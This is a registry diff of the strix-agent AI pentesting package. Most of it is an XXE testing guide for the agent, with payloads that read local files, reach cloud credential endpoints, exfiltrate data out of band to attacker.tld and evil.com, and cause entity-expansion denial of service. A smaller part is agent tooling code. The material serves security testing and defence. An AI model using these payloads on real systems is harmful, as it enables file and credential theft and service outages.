strix-agent 0.1.18__py3-none-any.whl → 0.1.19__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strix-agent might be problematic. Click here for more details.
- strix/agents/StrixAgent/strix_agent.py +2 -1
- strix/agents/StrixAgent/system_prompt.jinja +8 -10
- strix/agents/base_agent.py +20 -0
- strix/agents/state.py +18 -1
- strix/cli/app.py +92 -15
- strix/cli/main.py +3 -2
- strix/cli/tool_components/base_renderer.py +2 -2
- strix/cli/tool_components/reporting_renderer.py +2 -1
- strix/prompts/README.md +64 -0
- strix/prompts/__init__.py +1 -1
- strix/prompts/cloud/.gitkeep +0 -0
- strix/prompts/custom/.gitkeep +0 -0
- strix/prompts/frameworks/fastapi.jinja +142 -0
- strix/prompts/frameworks/nextjs.jinja +126 -0
- strix/prompts/protocols/graphql.jinja +215 -0
- strix/prompts/reconnaissance/.gitkeep +0 -0
- strix/prompts/technologies/firebase_firestore.jinja +177 -0
- strix/prompts/technologies/supabase.jinja +189 -0
- strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
- strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
- strix/prompts/vulnerabilities/business_logic.jinja +146 -118
- strix/prompts/vulnerabilities/csrf.jinja +137 -131
- strix/prompts/vulnerabilities/idor.jinja +149 -118
- strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
- strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
- strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
- strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
- strix/prompts/vulnerabilities/rce.jinja +128 -180
- strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
- strix/prompts/vulnerabilities/ssrf.jinja +118 -151
- strix/prompts/vulnerabilities/xss.jinja +144 -196
- strix/prompts/vulnerabilities/xxe.jinja +151 -243
- strix/tools/agents_graph/agents_graph_actions.py +4 -3
- strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
- strix/tools/registry.py +1 -1
- {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/METADATA +52 -13
- {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/RECORD +40 -27
- {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/LICENSE +0 -0
- {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/WHEEL +0 -0
- {strix_agent-0.1.18.dist-info → strix_agent-0.1.19.dist-info}/entry_points.txt +0 -0
|
@@ -1,276 +1,184 @@
|
|
|
1
1
|
<xxe_vulnerability_guide>
|
|
2
|
-
<title>XML EXTERNAL ENTITY (XXE)
|
|
3
|
-
|
|
4
|
-
<critical>XXE
|
|
5
|
-
|
|
6
|
-
<
|
|
7
|
-
-
|
|
8
|
-
-
|
|
9
|
-
-
|
|
10
|
-
- SAML
|
|
11
|
-
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
<
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
</
|
|
27
|
-
|
|
28
|
-
<
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
2
|
+
<title>XML EXTERNAL ENTITY (XXE)</title>
|
|
3
|
+
|
|
4
|
+
<critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
|
|
5
|
+
|
|
6
|
+
<scope>
|
|
7
|
+
- File disclosure: read server files and configuration
|
|
8
|
+
- SSRF: reach metadata services, internal admin panels, service ports
|
|
9
|
+
- DoS: entity expansion (billion laughs), external resource amplification
|
|
10
|
+
- Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
|
|
11
|
+
- Transclusion: XInclude and XSLT document() loading external resources
|
|
12
|
+
</scope>
|
|
13
|
+
|
|
14
|
+
<methodology>
|
|
15
|
+
1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
|
|
16
|
+
2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
|
|
17
|
+
3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
|
|
18
|
+
4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
|
|
19
|
+
</methodology>
|
|
20
|
+
|
|
21
|
+
<discovery_techniques>
|
|
22
|
+
<surface_map>
|
|
23
|
+
- File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
|
|
24
|
+
- Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
|
|
25
|
+
- Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
|
|
26
|
+
</surface_map>
|
|
27
|
+
|
|
28
|
+
<capability_probes>
|
|
29
|
+
- Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
|
|
30
|
+
- External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
|
|
31
|
+
- XInclude probe: add xi:include to see if transclusion is enabled
|
|
32
|
+
- XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
|
|
33
|
+
</capability_probes>
|
|
34
|
+
</discovery_techniques>
|
|
35
|
+
|
|
36
|
+
<detection_channels>
|
|
37
|
+
<direct>
|
|
38
|
+
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
|
|
39
|
+
</direct>
|
|
40
|
+
|
|
41
|
+
<error_based>
|
|
42
|
+
- Coerce parser errors that leak path fragments or file content via interpolated messages
|
|
43
|
+
</error_based>
|
|
44
|
+
|
|
45
|
+
<oast>
|
|
46
|
+
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
|
|
47
|
+
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
|
|
48
|
+
</oast>
|
|
49
|
+
|
|
50
|
+
<timing>
|
|
51
|
+
- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
|
|
52
|
+
</timing>
|
|
53
|
+
</detection_channels>
|
|
54
|
+
|
|
55
|
+
<core_payloads>
|
|
56
|
+
<local_file>
|
|
57
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
58
|
+
<r>&xxe;</r>
|
|
59
|
+
|
|
60
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
|
61
|
+
<r>&xxe;</r>
|
|
62
|
+
</local_file>
|
|
63
|
+
|
|
64
|
+
<ssrf>
|
|
65
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
|
|
66
|
+
<r>&xxe;</r>
|
|
67
|
+
|
|
68
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
|
|
69
|
+
<r>&xxe;</r>
|
|
70
|
+
</ssrf>
|
|
71
|
+
|
|
72
|
+
<oob_parameter_entity>
|
|
73
|
+
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
|
|
35
74
|
|
|
36
75
|
evil.dtd:
|
|
37
|
-
<!ENTITY %
|
|
38
|
-
<!ENTITY %
|
|
39
|
-
%
|
|
40
|
-
|
|
41
|
-
</
|
|
42
|
-
</basic_payloads>
|
|
76
|
+
<!ENTITY % f SYSTEM "file:///etc/hostname">
|
|
77
|
+
<!ENTITY % e "<!ENTITY % exfil SYSTEM 'http://%f;.attacker.tld/'>">
|
|
78
|
+
%e; %exfil;
|
|
79
|
+
</oob_parameter_entity>
|
|
80
|
+
</core_payloads>
|
|
43
81
|
|
|
44
82
|
<advanced_techniques>
|
|
45
83
|
<parameter_entities>
|
|
46
|
-
|
|
47
|
-
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
|
48
|
-
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://evil.com/?d=%data;'>">
|
|
49
|
-
%param;
|
|
50
|
-
%exfil;
|
|
51
|
-
]>
|
|
84
|
+
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
|
|
52
85
|
</parameter_entities>
|
|
53
86
|
|
|
54
|
-
<error_based_xxe>
|
|
55
|
-
<!DOCTYPE foo [
|
|
56
|
-
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
57
|
-
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
|
58
|
-
%eval;
|
|
59
|
-
%error;
|
|
60
|
-
]>
|
|
61
|
-
</error_based_xxe>
|
|
62
|
-
|
|
63
|
-
<xxe_in_attributes>
|
|
64
|
-
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
65
|
-
<root attr="&xxe;"/>
|
|
66
|
-
</xxe_in_attributes>
|
|
67
|
-
</advanced_techniques>
|
|
68
|
-
|
|
69
|
-
<filter_bypasses>
|
|
70
|
-
<encoding_tricks>
|
|
71
|
-
- UTF-16: <?xml version="1.0" encoding="UTF-16"?>
|
|
72
|
-
- UTF-7: <?xml version="1.0" encoding="UTF-7"?>
|
|
73
|
-
- Base64 in CDATA: <![CDATA[base64_payload]]>
|
|
74
|
-
</encoding_tricks>
|
|
75
|
-
|
|
76
|
-
<protocol_variations>
|
|
77
|
-
- file:// → file:
|
|
78
|
-
- file:// → netdoc://
|
|
79
|
-
- http:// → https://
|
|
80
|
-
- Gopher: gopher://
|
|
81
|
-
- PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
|
|
82
|
-
</protocol_variations>
|
|
83
|
-
|
|
84
|
-
<doctype_variations>
|
|
85
|
-
<!doctype foo [
|
|
86
|
-
<!DoCtYpE foo [
|
|
87
|
-
<!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
|
|
88
|
-
<!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
|
|
89
|
-
</doctype_variations>
|
|
90
|
-
</filter_bypasses>
|
|
91
|
-
|
|
92
|
-
<specific_contexts>
|
|
93
|
-
<json_xxe>
|
|
94
|
-
{% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
|
|
95
|
-
</json_xxe>
|
|
96
|
-
|
|
97
|
-
<soap_xxe>
|
|
98
|
-
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
99
|
-
<soap:Body>
|
|
100
|
-
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
101
|
-
<foo>&xxe;</foo>
|
|
102
|
-
</soap:Body>
|
|
103
|
-
</soap:Envelope>
|
|
104
|
-
</soap_xxe>
|
|
105
|
-
|
|
106
|
-
<svg_xxe>
|
|
107
|
-
<svg xmlns="http://www.w3.org/2000/svg">
|
|
108
|
-
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
109
|
-
<text>&xxe;</text>
|
|
110
|
-
</svg>
|
|
111
|
-
</svg_xxe>
|
|
112
|
-
|
|
113
|
-
<docx_xlsx_xxe>
|
|
114
|
-
1. Unzip document
|
|
115
|
-
2. Edit document.xml or similar
|
|
116
|
-
3. Add XXE payload
|
|
117
|
-
4. Rezip and upload
|
|
118
|
-
</docx_xlsx_xxe>
|
|
119
|
-
</specific_contexts>
|
|
120
|
-
|
|
121
|
-
<blind_xxe_techniques>
|
|
122
|
-
<dns_exfiltration>
|
|
123
|
-
<!DOCTYPE foo [
|
|
124
|
-
<!ENTITY % data SYSTEM "file:///etc/hostname">
|
|
125
|
-
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://%data;.attacker.com/'>">
|
|
126
|
-
%param;
|
|
127
|
-
%exfil;
|
|
128
|
-
]>
|
|
129
|
-
</dns_exfiltration>
|
|
130
|
-
|
|
131
|
-
<ftp_exfiltration>
|
|
132
|
-
<!DOCTYPE foo [
|
|
133
|
-
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
|
134
|
-
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
|
|
135
|
-
%param;
|
|
136
|
-
%exfil;
|
|
137
|
-
]>
|
|
138
|
-
</ftp_exfiltration>
|
|
139
|
-
|
|
140
|
-
<php_wrappers>
|
|
141
|
-
<!DOCTYPE foo [
|
|
142
|
-
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
|
143
|
-
]>
|
|
144
|
-
<root>&xxe;</root>
|
|
145
|
-
</php_wrappers>
|
|
146
|
-
</blind_xxe_techniques>
|
|
147
|
-
|
|
148
|
-
<xxe_to_rce>
|
|
149
|
-
<expect_module>
|
|
150
|
-
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
|
|
151
|
-
<root>&xxe;</root>
|
|
152
|
-
</expect_module>
|
|
153
|
-
|
|
154
|
-
<file_upload_lfi>
|
|
155
|
-
1. Upload malicious PHP via XXE
|
|
156
|
-
2. Include via LFI or direct access
|
|
157
|
-
</file_upload_lfi>
|
|
158
|
-
|
|
159
|
-
<java_specific>
|
|
160
|
-
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
|
|
161
|
-
</java_specific>
|
|
162
|
-
</xxe_to_rce>
|
|
163
|
-
|
|
164
|
-
<denial_of_service>
|
|
165
|
-
<billion_laughs>
|
|
166
|
-
<!DOCTYPE lolz [
|
|
167
|
-
<!ENTITY lol "lol">
|
|
168
|
-
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
|
|
169
|
-
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
|
|
170
|
-
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
|
|
171
|
-
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
|
|
172
|
-
]>
|
|
173
|
-
<lolz>&lol5;</lolz>
|
|
174
|
-
</billion_laughs>
|
|
175
|
-
|
|
176
|
-
<external_dtd_dos>
|
|
177
|
-
<!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
|
|
178
|
-
</external_dtd_dos>
|
|
179
|
-
</denial_of_service>
|
|
180
|
-
|
|
181
|
-
<modern_bypasses>
|
|
182
87
|
<xinclude>
|
|
183
88
|
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
|
184
89
|
<xi:include parse="text" href="file:///etc/passwd"/>
|
|
185
90
|
</root>
|
|
91
|
+
- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
|
|
186
92
|
</xinclude>
|
|
187
93
|
|
|
188
|
-
<
|
|
94
|
+
<xslt_document>
|
|
95
|
+
- XSLT processors can fetch external resources via document():
|
|
189
96
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
190
97
|
<xsl:template match="/">
|
|
191
98
|
<xsl:copy-of select="document('file:///etc/passwd')"/>
|
|
192
99
|
</xsl:template>
|
|
193
100
|
</xsl:stylesheet>
|
|
194
|
-
|
|
195
|
-
</
|
|
101
|
+
- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
|
|
102
|
+
</xslt_document>
|
|
103
|
+
|
|
104
|
+
<protocol_wrappers>
|
|
105
|
+
- Java: jar:, netdoc:
|
|
106
|
+
- PHP: php://filter, expect:// (when module enabled)
|
|
107
|
+
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
|
|
108
|
+
</protocol_wrappers>
|
|
109
|
+
</advanced_techniques>
|
|
196
110
|
|
|
197
|
-
<
|
|
198
|
-
<
|
|
199
|
-
-
|
|
200
|
-
|
|
201
|
-
- Parameter entities work
|
|
202
|
-
</java>
|
|
111
|
+
<filter_bypasses>
|
|
112
|
+
<encoding_variants>
|
|
113
|
+
- UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
|
|
114
|
+
</encoding_variants>
|
|
203
115
|
|
|
204
|
-
<
|
|
205
|
-
-
|
|
206
|
-
|
|
207
|
-
</dotnet>
|
|
116
|
+
<doctype_variants>
|
|
117
|
+
- PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
|
|
118
|
+
</doctype_variants>
|
|
208
119
|
|
|
209
|
-
<
|
|
210
|
-
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
120
|
+
<network_controls>
|
|
121
|
+
- If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
|
|
122
|
+
</network_controls>
|
|
123
|
+
</filter_bypasses>
|
|
124
|
+
|
|
125
|
+
<special_contexts>
|
|
126
|
+
<soap>
|
|
127
|
+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
128
|
+
<soap:Body>
|
|
129
|
+
<!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
130
|
+
<d>&xxe;</d>
|
|
131
|
+
</soap:Body>
|
|
132
|
+
</soap:Envelope>
|
|
133
|
+
</soap>
|
|
214
134
|
|
|
215
|
-
<
|
|
216
|
-
-
|
|
217
|
-
|
|
218
|
-
</python>
|
|
219
|
-
</parser_specific>
|
|
135
|
+
<saml>
|
|
136
|
+
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
|
|
137
|
+
</saml>
|
|
220
138
|
|
|
221
|
-
<
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
2. External DTD: http://attacker.com/test.dtd
|
|
225
|
-
3. Parameter entity: %xxe;
|
|
226
|
-
4. Time-based: DTD with slow server
|
|
227
|
-
5. DNS lookup: http://test.attacker.com/
|
|
228
|
-
</detection>
|
|
139
|
+
<svg_and_renderers>
|
|
140
|
+
- Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
|
|
141
|
+
</svg_and_renderers>
|
|
229
142
|
|
|
230
|
-
<
|
|
231
|
-
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
- Limited file access (chroot/sandbox)
|
|
235
|
-
</false_positives>
|
|
236
|
-
</validation_testing>
|
|
143
|
+
<office_docs>
|
|
144
|
+
- OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
|
|
145
|
+
</office_docs>
|
|
146
|
+
</special_contexts>
|
|
237
147
|
|
|
238
|
-
<
|
|
239
|
-
1.
|
|
240
|
-
2.
|
|
241
|
-
3.
|
|
242
|
-
4.
|
|
243
|
-
5.
|
|
244
|
-
|
|
245
|
-
</impact_demonstration>
|
|
148
|
+
<validation>
|
|
149
|
+
1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
|
|
150
|
+
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
|
|
151
|
+
3. Confirm blind channels with OAST and correlate to the triggering request.
|
|
152
|
+
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
|
|
153
|
+
5. Bound impact: exact files/data reached or internal targets proven.
|
|
154
|
+
</validation>
|
|
246
155
|
|
|
247
|
-
<
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
|
|
254
|
-
]
|
|
156
|
+
<false_positives>
|
|
157
|
+
- DOCTYPE accepted but entities not resolved and no transclusion reachable
|
|
158
|
+
- Filters or sandboxes that emit entity strings literally (no IO performed)
|
|
159
|
+
- Mocks/stubs that simulate success without network/file access
|
|
160
|
+
- XML processed only client-side (no server parse)
|
|
161
|
+
</false_positives>
|
|
255
162
|
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
163
|
+
<impact>
|
|
164
|
+
- Disclosure of credentials/keys/configs, code, and environment secrets
|
|
165
|
+
- Access to cloud metadata/token services and internal admin panels
|
|
166
|
+
- Denial of service via entity expansion or slow external resources
|
|
167
|
+
- Code execution via XSLT/expect:// in insecure stacks
|
|
168
|
+
</impact>
|
|
261
169
|
|
|
262
170
|
<pro_tips>
|
|
263
|
-
1.
|
|
264
|
-
2.
|
|
265
|
-
3.
|
|
266
|
-
4.
|
|
267
|
-
5.
|
|
268
|
-
6.
|
|
269
|
-
7.
|
|
270
|
-
8.
|
|
271
|
-
9.
|
|
272
|
-
10.
|
|
171
|
+
1. Prefer OAST first; it is the quietest confirmation in production-like paths.
|
|
172
|
+
2. When content is sanitized, use error-based and length/ETag diffs.
|
|
173
|
+
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
|
|
174
|
+
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
|
|
175
|
+
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
|
|
176
|
+
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
|
|
177
|
+
7. Test background processors separately; they often use different parser settings.
|
|
178
|
+
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
|
|
179
|
+
9. Combine with path traversal and deserialization where XML touches downstream systems.
|
|
180
|
+
10. Document exact parser behavior per stack; defenses must match real libraries and flags.
|
|
273
181
|
</pro_tips>
|
|
274
182
|
|
|
275
|
-
<remember>XXE is
|
|
183
|
+
<remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
|
|
276
184
|
</xxe_vulnerability_guide>
|
|
@@ -199,11 +199,11 @@ def create_agent(
|
|
|
199
199
|
if prompt_modules:
|
|
200
200
|
module_list = [m.strip() for m in prompt_modules.split(",") if m.strip()]
|
|
201
201
|
|
|
202
|
-
if len(module_list) >
|
|
202
|
+
if len(module_list) > 5:
|
|
203
203
|
return {
|
|
204
204
|
"success": False,
|
|
205
205
|
"error": (
|
|
206
|
-
"Cannot specify more than
|
|
206
|
+
"Cannot specify more than 5 prompt modules for an agent "
|
|
207
207
|
"(use comma-separated format)"
|
|
208
208
|
),
|
|
209
209
|
"agent_id": None,
|
|
@@ -565,7 +565,7 @@ def send_user_message_to_agent(agent_id: str, message: str) -> dict[str, Any]:
|
|
|
565
565
|
@register_tool(sandbox_execution=False)
|
|
566
566
|
def wait_for_message(
|
|
567
567
|
agent_state: Any,
|
|
568
|
-
reason: str = "Waiting for messages from other agents
|
|
568
|
+
reason: str = "Waiting for messages from other agents",
|
|
569
569
|
) -> dict[str, Any]:
|
|
570
570
|
try:
|
|
571
571
|
agent_id = agent_state.agent_id
|
|
@@ -603,5 +603,6 @@ def wait_for_message(
|
|
|
603
603
|
"Message from another agent",
|
|
604
604
|
"Message from user",
|
|
605
605
|
"Direct communication",
|
|
606
|
+
"Waiting timeout reached",
|
|
606
607
|
],
|
|
607
608
|
}
|
|
@@ -80,7 +80,7 @@ Only create a new agent if no existing agent is handling the specific task.</des
|
|
|
80
80
|
<description>Whether the new agent should inherit parent's conversation history and context</description>
|
|
81
81
|
</parameter>
|
|
82
82
|
<parameter name="prompt_modules" type="string" required="false">
|
|
83
|
-
<description>Comma-separated list of prompt modules to use for the agent (MAXIMUM
|
|
83
|
+
<description>Comma-separated list of prompt modules to use for the agent (MAXIMUM 5 modules allowed). Most agents should have at least one module in order to be useful. Agents should be highly specialized - use 1-3 related modules; up to 5 for complex contexts. {{DYNAMIC_MODULES_DESCRIPTION}}</description>
|
|
84
84
|
</parameter>
|
|
85
85
|
</parameters>
|
|
86
86
|
<returns type="Dict[str, Any]">
|
|
@@ -114,7 +114,7 @@ Only create a new agent if no existing agent is handling the specific task.</des
|
|
|
114
114
|
<parameter=prompt_modules>xss</parameter>
|
|
115
115
|
</function>
|
|
116
116
|
|
|
117
|
-
# Example of
|
|
117
|
+
# Example of up to 5 related modules (borderline acceptable)
|
|
118
118
|
<function=create_agent>
|
|
119
119
|
<parameter=task>Test for server-side vulnerabilities including SSRF, XXE, and potential
|
|
120
120
|
RCE vectors in file upload and XML processing endpoints.</parameter>
|
|
@@ -182,25 +182,26 @@ Only create a new agent if no existing agent is handling the specific task.</des
|
|
|
182
182
|
</returns>
|
|
183
183
|
</tool>
|
|
184
184
|
<tool name="wait_for_message">
|
|
185
|
-
<description>Pause the agent loop indefinitely until receiving a message from another agent
|
|
185
|
+
<description>Pause the agent loop indefinitely until receiving a message from another agent.
|
|
186
186
|
|
|
187
187
|
This tool puts the agent into a waiting state where it remains idle until it receives any form of communication. The agent will automatically resume execution when a message arrives.
|
|
188
188
|
|
|
189
189
|
IMPORTANT: This tool causes the agent to stop all activity until a message is received. Use it when you need to:
|
|
190
190
|
- Wait for subagent completion reports
|
|
191
191
|
- Coordinate with other agents before proceeding
|
|
192
|
-
- Pause for user input or decisions
|
|
193
192
|
- Synchronize multi-agent workflows
|
|
194
193
|
|
|
195
194
|
NOTE: If you are waiting for an agent that is NOT your subagent, you first tell it to message you with updates before waiting for it. Otherwise, you will wait forever!
|
|
196
195
|
</description>
|
|
197
|
-
<details>When this tool is called, the agent enters a waiting state and will not continue execution until:
|
|
198
|
-
- Another agent sends
|
|
199
|
-
-
|
|
200
|
-
-
|
|
196
|
+
<details>When this tool is called, the agent (you) enters a waiting state and will not continue execution until:
|
|
197
|
+
- Another agent sends a message via send_message_to_agent
|
|
198
|
+
- Any other form of inter-agent communication occurs
|
|
199
|
+
- Waiting timeout is reached
|
|
201
200
|
|
|
202
201
|
The agent will automatically resume from where it left off once a message is received.
|
|
203
|
-
This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows
|
|
202
|
+
This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows.
|
|
203
|
+
NOTE: If you finished your task, and you do NOT have any child agents running, you should NEVER use this tool, and just call finish tool instead.
|
|
204
|
+
</details>
|
|
204
205
|
<parameters>
|
|
205
206
|
<parameter name="reason" type="string" required="false">
|
|
206
207
|
<description>Explanation for why the agent is waiting (for logging and monitoring purposes)</description>
|
|
@@ -215,11 +216,6 @@ NOTE: If you are waiting for an agent that is NOT your subagent, you first tell
|
|
|
215
216
|
<parameter=reason>Waiting for subdomain enumeration and port scanning subagents to complete their tasks and report findings</parameter>
|
|
216
217
|
</function>
|
|
217
218
|
|
|
218
|
-
# Wait for user input on next steps
|
|
219
|
-
<function=wait_for_message>
|
|
220
|
-
<parameter=reason>Waiting for user decision on whether to proceed with exploitation of discovered SQL injection vulnerability</parameter>
|
|
221
|
-
</function>
|
|
222
|
-
|
|
223
219
|
# Coordinate with other agents
|
|
224
220
|
<function=wait_for_message>
|
|
225
221
|
<parameter=reason>Waiting for vulnerability assessment agent to share discovered attack vectors before proceeding with exploitation phase</parameter>
|
strix/tools/registry.py
CHANGED
|
@@ -33,7 +33,7 @@ def _process_dynamic_content(content: str) -> str:
|
|
|
33
33
|
logger.warning("Could not import prompts utilities for dynamic schema generation")
|
|
34
34
|
content = content.replace(
|
|
35
35
|
"{{DYNAMIC_MODULES_DESCRIPTION}}",
|
|
36
|
-
"List of prompt modules to load for this agent (max
|
|
36
|
+
"List of prompt modules to load for this agent (max 5). Module discovery failed.",
|
|
37
37
|
)
|
|
38
38
|
|
|
39
39
|
return content
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.3
|
|
2
2
|
Name: strix-agent
|
|
3
|
-
Version: 0.1.
|
|
3
|
+
Version: 0.1.19
|
|
4
4
|
Summary: Open-source AI Hackers for your apps
|
|
5
5
|
License: Apache-2.0
|
|
6
6
|
Keywords: cybersecurity,security,vulnerability,scanner,pentest,agent,ai,cli
|
|
@@ -44,10 +44,11 @@ Description-Content-Type: text/markdown
|
|
|
44
44
|
|
|
45
45
|
### Open-source AI hackers for your apps
|
|
46
46
|
|
|
47
|
+
[](https://usestrix.com)
|
|
47
48
|
[](LICENSE)
|
|
48
|
-
[](https://discord.gg/yduEyduBsp)
|
|
50
|
+
[](https://pepy.tech/projects/strix-agent)
|
|
51
|
+
[](https://github.com/usestrix/strix)
|
|
51
52
|
</div>
|
|
52
53
|
|
|
53
54
|
<div align="center">
|
|
@@ -60,8 +61,30 @@ Description-Content-Type: text/markdown
|
|
|
60
61
|
|
|
61
62
|
Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual exploitation. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
|
|
62
63
|
|
|
64
|
+
- **Full hacker toolkit** out of the box
|
|
65
|
+
- **Teams of agents** that collaborate and scale
|
|
66
|
+
- **Real validation** via exploitation and PoC, not false positives
|
|
67
|
+
- **Developer‑first** CLI with actionable reports
|
|
68
|
+
- **Auto‑fix & reporting** to accelerate remediation
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
### 🎯 Use Cases
|
|
73
|
+
|
|
74
|
+
- Detect and validate critical vulnerabilities in your applications.
|
|
75
|
+
